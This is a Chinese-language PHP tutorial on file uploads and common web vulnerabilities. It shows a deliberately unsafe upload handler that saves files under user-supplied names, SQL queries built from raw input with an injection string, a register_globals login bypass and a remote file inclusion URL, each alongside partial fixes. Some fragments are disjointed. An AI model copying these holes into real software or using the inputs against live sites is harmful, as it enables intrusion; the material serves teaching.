PHP文件上传与安全
文件上传的流程
上传必须由POST方式的file类型表单提交,被提交的地方 一定是一个phph程序,用户在表单使用file类型的域。选在一个自己电脑上的文件,提交到php程序以后 其实就已经完成了一个上传过程,即使这个php代码什么都不写上传依然有效,所谓上传指的是从用户计算机发送一个文件到网站 严格来说是发送到服务器,而且是装有支持上传的解释器的服务器,才支持使用表单上传,我们的php解释器就是其中之一 既然如此 文件的上传到哪儿呢 这个是由php配置决定的,默认情况下 php允许每次上传的2M大小的文件会上传到系统的临时文件夹中,上传的位置和上传的大小配置 我们可以在php.in配置文件找到分别是upload_max_filesize upload_tmp_dir 这两项分别决定了每次上传的最大文件和上传位置,默认情况下上传的路径不需要设置 他会上传到系统的临时文件夹里 win系统在c:\windows\temp 如果我们指定了位置 他就会上传到指定的位置,之前提到上传必须由POST方式的file类型表单提交 ,HTML 代码是这样的
1 <form enctype="multipart/form-data" method="post" action="upload.php"> 2 <input type="file" name="upload" /> 3 <input type="submit" value="上传" /> 4 </form>
method一定是post 另外 光这样是不够的 还要指定编码enctype 告诉服务器 这次提交由文件需要上传。enctype="multipart/form-data" 如果制作文件上传表单上面一定要加上这个,php才知道 此次提交含有文件上传 只要表单写成这样指定的action的php程序存在 这次提交 就一定会产生一个上传的过程。上传文件的表单 必须是file类型
UPLOAD_ERR_OK
其值为 0,没有错误发生,文件上传成功。
UPLOAD_ERR_INI_SIZE
其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
UPLOAD_ERR_FORM_SIZE
其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
UPLOAD_ERR_PARTIAL
其值为 3,文件只有部分被上传。
UPLOAD_ERR_NO_FILE
其值为 4,没有文件被上传。
UPLOAD_ERR_NO_TMP_DIR
其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
UPLOAD_ERR_CANT_WRITE
其值为 7,文件写入失败。PHP 5.1.0 引进。
错误5现在已经被抛弃 如果我们要判断文件是否成功上传 可以去error的值来判断 因为是二维数组 我们需要这么写$_FILES[‘upload‘][‘error‘]
tmp_name 是已经上传的文件当前的位置和文件名 我们需要制定一个新的位置 要完整的包含文件名的 如果我们需要保持用户上传的文件名我们可以我们可以通过 $_FILES[‘upload‘][‘name‘] 得到。要上传的路径就是我们自定义的了
<?PHP if($_FILES[‘upload‘][‘error‘] == 0) { //当前目录下 $path = "./" . $_FILES[‘upload‘][‘name‘]; //把上传的文件复制到当前目录 copy($_FILES[‘upload‘][‘tmp_name‘], $path); }
上传最基本的两个过程。。
第一个过程,就是用户使用带有 file 和声明了数据的表单,选择一个文件,并提交给 PHP ,这个过程我们干预不了。
第二个过程,我们把上传好的文件,复制到我们想保存的地方。
上传文件。
会员系统需要上传头像
相册功能上传照片
文档要允许上传各种文档类文件不如做成 允许上传什么类型的文件
代码写的更简单一些
文档也就是:doc,docx,xls,xlsx,ppt,pdf
<img src="图片路径" />
<a href="文件路径">下载</a>
PHP 代码
$id = (int)$_GET[‘id‘];
$sql = "select * from 表名 where id = ‘$id‘";
通常是这样子
$key = $_GET[‘key‘];
$sql = "select * from 表名 where id = ‘$key‘";
或者身份验证时。
$sql = "select * from 表名 where user = ‘$user‘";
如果有人在这个时候,恶意提交一个单引号上来会是什么结果。假设,我提交是:test‘ or 1=‘1
select * from 表名 where user = ‘test‘ or 1=‘1‘
$lastname = addslashes($_POST[‘lastname‘]);
} else {
$lastname = $_POST[‘lastname‘];
}
这个函数,可以用来读取 PHP 配置中的自动引号转义功能是否开启。
test.php?a=123;
echo $a; //123
if(empty($_SESSION[‘username‘]))die("没有登录");
if(empty($username)) die("没有登录");
test.php?username=1 ;GET 变量也会被注册成普通变量。于是,这里的身份验证通过了。。。
?sql=select……
直接影响我们的
mysql_query($sql);
foreach($_GET as $k=>$v) {
if(isset($$k) and $$k == $v) unset($$k);
}
取索引,组成一个变量名。如果这个变量事先存在,并且值和当前 GET 值相同。就灭了它。。
代码一开始就写上这个代码。。这个时候前面跟本没有任何的代码。又何来的 $a ,如果偏偏它这个时候存在了。。那就一定不是我们定义的。。灭了它。
比如有一种写法是这样的。
index.php
<?php
$file = $_GET[‘file‘];
include $file .
".php";
?>这样的写法,有个好处。就可以在一个程序里,运行几个不同的程序。 index.php?file=news对于 PHP 来说就是include "news.php"; 直接使用来自外部的变量,后果就是这样index.php?file=http://我的网址/hack 结果对于我们的代码就变成了include
"http://我的网址/hack.php";
最后总结一下:
文件上传,一定是 POST 表单,要声明是数据上传。一定是 file 选择文件。
文件会上传到服务器的临时文件夹,文件夹必须可以访问。
我们需要把上传的文件复制出来。不然它马上会消失。
复制上传过来的文件,应当使用 move_uploaded_file 函数,以确保安全。
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。